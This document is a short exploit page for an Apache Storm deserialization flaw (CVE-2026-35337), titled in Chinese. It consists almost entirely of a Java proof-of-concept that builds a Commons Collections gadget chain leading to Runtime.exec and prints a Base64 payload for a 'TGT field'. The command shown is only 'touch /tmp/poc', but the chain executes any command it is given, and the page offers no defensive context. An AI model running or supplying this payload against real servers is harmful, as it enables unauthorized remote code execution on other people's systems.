CVE-2026-35337 Apache Storm反序列化漏洞

import java.io.*; import java.util.*; import java.lang.reflect.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import org.apache.commons.collections.keyvalue.*; import org.apache.commons.collections.comparators.*; public class CVE_2026_35337_PoC { public static void main(String[] args) throws Exception { // Generate malicious payload using Commons Collections Gadget Chain String command = "touch /tmp/poc"; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object instance = constructor.newInstance(Retention.class, outerMap); // Serialize the object to Base64 ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(instance); oos.flush(); String base64Payload = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println("Generated Base64 Payload for TGT field:"); System.out.println(base64Payload); } }